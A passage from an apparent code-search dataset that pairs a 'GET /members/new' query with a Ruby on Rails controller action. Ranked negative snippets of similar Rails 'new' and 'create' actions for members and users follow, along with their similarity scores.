"0.6556475",
"0.6534006",
"0.65314126",
"0.6529084",
"0.65084577",
"0.65071905",
"0.6492772",
"0.6458825",
"0.6456974",
"0.6450213",
"0.64220864",
"0.6415697",
"0.6409632",
"0.6397722",
"0.63662785",
"0.6339011",
"0.63360184",
"0.6331597",
"0.63186693",
"0.63165426",
"0.63114303",
"0.6304002",
"0.62835544",
"0.6281827",
"0.62662774",
"0.6260941",
"0.62591577",
"0.6253628",
"0.6250286",
"0.6231746",
"0.62316984",
"0.62204087",
"0.6219384",
"0.6219384",
"0.6218574",
"0.6210474",
"0.6208356",
"0.62054163",
"0.61973906",
"0.6196231",
"0.61929613",
"0.61929613",
"0.61799955",
"0.61633474",
"0.6156401",
"0.6125761",
"0.6114092",
"0.60983694",
"0.60932803",
"0.60910887",
"0.60858685",
"0.6076026",
"0.60758144",
"0.6068407",
"0.60682267",
"0.6056515",
"0.6049677",
"0.60465133",
"0.60465133",
"0.6040034",
"0.6038258",
"0.6038258",
"0.6038258",
"0.6038258"
] |
0.0
|
-1
|
GET /members/new GET /members/new.xml
|
def new
@member = Member.new
@centers = Center.find(:all)
@mode = params[:mode]
@csid = params[:csid]
@emailid = params[:emailid]
@myconn = params[:myconn]
unless @emailid.nil?
@member.emailid = @emailid
end
unless @mode.blank?
render :layout => 'signup'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @member = Member.new\n @title = \"New member\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member }\n end\n end",
"def new\n\t\t@member = Member.new(:membership_id => params[:membership_id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @member }\n\t\tend\n\tend",
"def new\n @member_info = MemberInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member_info }\n end\n end",
"def new\n\t\t@membership = Membership.new\n\t\t@membership.members.build\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @membership }\n\t\tend\n\tend",
"def new\n @who_member = WhoMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @who_member }\n end\n end",
"def new\n @member = Member.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n @member.email = @search_string ||= \"\"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member}\n end\n end",
"def new\n new_url = \"#{ENV['KPASS_ENDPOINT']}/members/new?app_id=#{ENV['KPASS_APP_ID']}\"\n redirect_to new_url\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @family_member }\n end\n end",
"def new\n\tif !checkadmin? then return end #\n\n @member = Member.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @member = Member.new\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end",
"def create\n @member = Member.new(params[:member])\n @member.new = false\n\n respond_to do |format|\n if @member.save\n flash[:notice] = 'Member was successfully created.'\n format.html { redirect_to members_url(@member) }\n format.xml { head :created, :location => member_url(@member) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors.to_xml }\n end\n end\n end",
"def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end",
"def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @membership }\n end\n end",
"def new\n @teammember = Teammember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @teammember }\n end\n end",
"def new\n @nickname = Nickname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nickname }\n end\n end",
"def new\n @user = User.new\n get_list\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @user }\n end\n end",
"def new\n @position_member = PositionMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @position_member }\n end\n end",
"def new\n @people = People.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def new\n logger.debug(\"Create a new user\")\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @memberapp = Memberapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @memberapp }\n end\n end",
"def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end",
"def new\n @member = Member.new\n user = @member.build_user\n @roles = Role.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @member }\n end\n end",
"def new\n\tputs \"\\n\\t\\t in new\\n\"\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @friend = current_user_or_guest.friends.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @friend }\n format.json { render json: @friend }\n end\n end",
"def create\n puts \"Is it here!?!?!\"\n @member = Member.new(params[:member])\n respond_to do |format|\n if @member.save \n format.html { redirect_to(@member, :notice => 'Member was successfully created.') }\n format.xml { render :xml => @member, :status => :created, :location => @member }\n format.json {render :json => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n head :status => 405\n return\n \n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @participant }\n end\n end",
"def new\n @title = \"New Member\"\n @member = Member.new\n @member.phone = \"+375\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member }\n end\n end",
"def new\n @person = Person.new\n @person.names.new\n \n respond_to do |format|\n format.html { render :layout => \"main\" } # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new_members\n @members = User.all\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @member = Member.new\n user = @member.build_user\n @roles = Role.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @member }\n end\n end",
"def new\n @game_member = GameMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game_member }\n end\n end",
"def new\n @node = Node.new\n @node.owner = current_user\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @committeemember = Committeemember.new\n @clubusers = User.find(:all, :order => \"surname ASC\")\n @title = \"Create New Committee Member\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @committeemember }\n end\n end",
"def new\n @friend = Friend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @friend }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @user }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.xml { render xml: @user}\n end\n end",
"def create\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n flash[:notice] = 'Member was successfully created.'\n format.html { redirect_to(@member) }\n format.xml { render :xml => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patron }\n end\n end",
"def new\n @user = User.new\n render :xml => @user\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @membership_kind = MembershipKind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @membership_kind }\n end\n end",
"def new\n @person = Person.new\n @title = \"people\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @member_type = MemberType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member_type }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end"
] |
[
"0.7645127",
"0.75905365",
"0.75905365",
"0.75905365",
"0.73785937",
"0.7339909",
"0.73335916",
"0.7262581",
"0.71329445",
"0.71195185",
"0.71195185",
"0.71195185",
"0.71195185",
"0.71195185",
"0.71195185",
"0.71195185",
"0.70735514",
"0.6980091",
"0.69704103",
"0.69519126",
"0.69349664",
"0.691522",
"0.69103175",
"0.69054437",
"0.68934155",
"0.687649",
"0.68739253",
"0.6868527",
"0.68231535",
"0.680994",
"0.6796761",
"0.6790837",
"0.67761683",
"0.676889",
"0.6756086",
"0.6742868",
"0.67377895",
"0.6736937",
"0.67220914",
"0.6714183",
"0.6709928",
"0.6701748",
"0.67016774",
"0.6685583",
"0.66785216",
"0.6675023",
"0.6665091",
"0.6659906",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.66459364",
"0.6635524",
"0.66301805",
"0.6626315",
"0.6624826",
"0.66240746",
"0.6610872",
"0.6610872",
"0.6608207",
"0.65966755",
"0.65933394",
"0.65933394",
"0.6592226",
"0.658177",
"0.658177",
"0.658177",
"0.658177",
"0.658177",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244",
"0.65800244"
] |
0.0
|
-1
|
POST /members POST /members.xml
|
def create
@member = Member.new(params[:member])
@session_member_id = session[:user].member.id
@validatemember = Member.find(:all, :conditions => ["emailid = ?", @member.emailid])
if @validatemember.length == 0
@mode = params[:mode]
@myconn = params[:myconn]
if session[:current_user_super_admin] and @mode.blank?
@member.center_id = params[:centersel][:id]
else
@member.center_id = session[:center_id]
end
@member.gender = params[:gender]
if @member.save
if @mode.blank?
if @myconn.blank?
flash[:notice] = 'Member was successfully created.'
redirect_to params.merge!(:action => "index")
else
@member_connection = MemberConnection.new
@member_connection.member_id = @session_member_id
@member_connection.connected_member_id = @member.id
@member_connection.save
flash[:notice] = 'Member was successfully created.'
redirect_to params.merge!(:action => "index", :myconn=>@myconn)
end
else
@csid = params[:csid]
@member_attendance = MemberAttendance.new
@member_attendance.member = @member
@member_attendance.center_id = session[:center_id]
@member_attendance.course_schedule = CourseSchedule.find(@csid)
if @member_attendance.save
end
redirect_to params.merge!(:controller=>"member_attendances", :action=>"show", :csid => @csid, :emailid => @member.emailid, :name => @member.fullname)
end
else
if params[:mode].nil?
render :action => "new", :csid => @csid, :mode => params[:mode]
else
render :action => "new", :csid => @csid, :mode => params[:mode], :layout => 'signup'
end
end
else
if params[:mode].blank?
flash[:notice] = 'Member already Exists.'
redirect_to params.merge!(:action => "new")
else
@csid = params[:csid]
@member_attendance = MemberAttendance.new
@member_attendance.member = @member
@member_attendance.center_id = session[:center_id]
@member_attendance.course_schedule = CourseSchedule.find(@csid)
if @member_attendance.save
end
redirect_to params.merge!(:controller=>"member_attendances", :action=>"show", :csid => @csid, :emailid => @member.emailid, :name => @member.fullname)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @member = @current_enterprise.members.build(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = @space.members.new(member_params)\n @member.user = current_user\n\n respond_to do |format| \n if @member.save\n @space.members << @member\n\n format.html { redirect_to space_member_url(@space, @member), notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: [@space, @member] }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n flash[:notice] = 'Member was successfully created.'\n format.html { redirect_to(@member) }\n format.xml { render :xml => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@member = Member.new(params[:member])\n\n\t\trespond_to do |format|\n\t\t\tif @member.save\n\t\t\t\tformat.html { redirect_to(@member.membership, :notice => 'Member was successfully created.') }\n\t\t\t\tformat.xml\t{ render :xml => @member, :status => :created, :location => @member }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml\t{ render :xml => @member.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @member = Member.new(params[:member])\n respond_to do |format|\n if @member.save\n flash[:notice] = 'El socio se guardo con exito.'\n format.html { redirect_to(members_path) }\n format.xml { render :xml => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def members\n raw_response = get_request('users/members')\n parse_response(raw_response, :users)\n end",
"def create_member(data)\n headers = @client.make_request(:post, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/members\"), data)[1]\n id = Client.get_id_from_location_header(headers[:location])\n get_member(id)\n end",
"def create\n flash[:notice] = 'Member Created' if @project.members << @member\n respond_with @project, @member\n end",
"def create\n @membership = @member.memberships.build(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership.member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts \"Is it here!?!?!\"\n @member = Member.new(params[:member])\n respond_to do |format|\n if @member.save \n format.html { redirect_to(@member, :notice => 'Member was successfully created.') }\n format.xml { render :xml => @member, :status => :created, :location => @member }\n format.json {render :json => @member, :status => :created, :location => @member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(params[:member])\n @member.new = false\n\n respond_to do |format|\n if @member.save\n flash[:notice] = 'Member was successfully created.'\n format.html { redirect_to members_url(@member) }\n format.xml { head :created, :location => member_url(@member) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member.errors.to_xml }\n end\n end\n end",
"def create\n @member = @organization.members.build(member_params)\n\n respond_to do |format|\n if @member.save\n logger.info(\"User #{current_user.email} created Member '#{@member.first_name} #{@member.last_name}' on #{@member.updated_at}\")\n format.html { redirect_to organization_path(@organization), notice: 'Member was successfully created.' }\n #format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_member_to_list(user, list, member_id, options={})\n post(\"/#{user}/#{list}/members.json\", options.merge(:id => member_id))\n end",
"def create_members\n project = Project.find(params[:id])\n\n params[:members].each do |member_id|\n user = User.find(member_id)\n project.users << user unless project.users.include?(user) \n end\n \n respond_to do |format|\n format.html { redirect_to project_path(@project), notice: 'members were successfully added.' }\n format.json { render json: @project, status: :created, location: @project }\n end\n end",
"def create\n # type = \"member\"\n\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render action: 'show', status: :created, location: @member }\n else\n format.html { render action: 'new' }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_members\n @members = User.all\n end",
"def post(member, request_opts={})\n unless member.is_a?(User)\n raise DataTypeError.new(\"User object is expected, but got [#{member.inspect}]\")\n end\n member = GroupMember.new(:group_id => self.id, :member_id => member.id)\n http(request_opts).post(resolved_path, member.as_hash)\n end",
"def create\n\tif !checkadmin? then return end\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def conference_list_members(params)\n path = @version + '/Conference/Member/List/'\n method = 'POST'\n return request(path, method, params)\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to admin_member_path(@member), notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(params[:member])\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_members\n members_ids = params[:contest][:members].reject(&:empty?)\n @contest.members.destroy_all if params[:action] == \"update\"\n members_ids.each do |members_id|\n member = Member.create(:user_id => members_id.to_i, :invitable => @contest)\n #send notification\n reciver = User.find(members_id)\n notifications = reciver.notifications.unread \n if reciver.notification_setting.try(:new_update)\n Notification.create(recepient_id: members_id, user: current_user, body: \"#{current_user.screen_name } has invited you to join a contest #{@contest.topic} \", notificable: @contest, :accept => false, :is_acceptable=>true)\n PrivatePub.publish_to \"/profiles/new_#{members_id}\", \"jQuery('#all-notifications').html('#{notifications.count}'); jQuery('#all-notifications').addClass('push-notification');\"\n\n end\n end\n end",
"def create\n @member_info = MemberInfo.new(params[:member_info])\n\n respond_to do |format|\n if @member_info.save\n format.html { redirect_to(@member_info, :notice => 'MemberInfo was successfully created.') }\n format.xml { render :xml => @member_info, :status => :created, :location => @member_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save!\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = User.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save \n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def members\n response = service.get_members\n response.map do |member_data|\n Member.new(member_data)\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.json { render :show, status: :created, location: @member }\n else\n return api_error(status: :unprocessable_entity, message: @member.errors)\n end\n end\n end",
"def CreateMembership params = {}\n \n APICall(path: 'group_memberships.json',method: 'POST',payload: params.to_json)\n \n end",
"def member_params\n params.require(:member).permit(:first_name, :last_name, :email)\n end",
"def create\n @membership = Membership.new(params[:membership])\n @membership.member = current_member\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to sub_clubs_path, :notice => 'You requested membership.' }\n format.json { render :json => @membership, :status => :created, :location => @membership }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: '出欠情報を保存しました' }\n format.json { render action: 'show', status: :created, location: @member }\n else\n format.html { render action: 'new' }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.new(member_params)\n respond_to do |format|\n if @member.save\n format.html { redirect_to @member, notice: 'Member created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n r = params[:member]\n @member = Member.where(:email => r[:email], :group_name => r[:group_name], :admin_uuid => session[:user_uuid]).first\n r = @member.attributes.merge(r) unless @member.nil?\n @member = Member.new(r) if @member.nil?\n @member.update_attributes(r) unless @member.nil?\n\n unless @member.err\n @member.get_member_uuid\n end\n respond_to do |format|\n unless @member.nil?\n format.html { redirect_to @member, notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #sanity checks, can only modify memberships that you own\n if params[:user_id].to_i != current_user.id then\n render json: {message:'You do not own the membership list'}, :status => :unprocessable_entity\n return\n end\n\n #ensure the membership params is there\n unless params.has_key? :memberships then\n #render json: {message:'memberships list not found'}, :status => :unprocessable_entity\n #return\n #this could me no membership at all\n params[:memberships] = {}\n end\n\n #set the new memberships state\n current_user.set_memberships params[:memberships]\n\n render json: {\n message:'message received from server',\n memberships:User.find(params[:user_id]).memberships.map{ |x| x.attributes.merge({club_name: x.club_name})}\n }\n end",
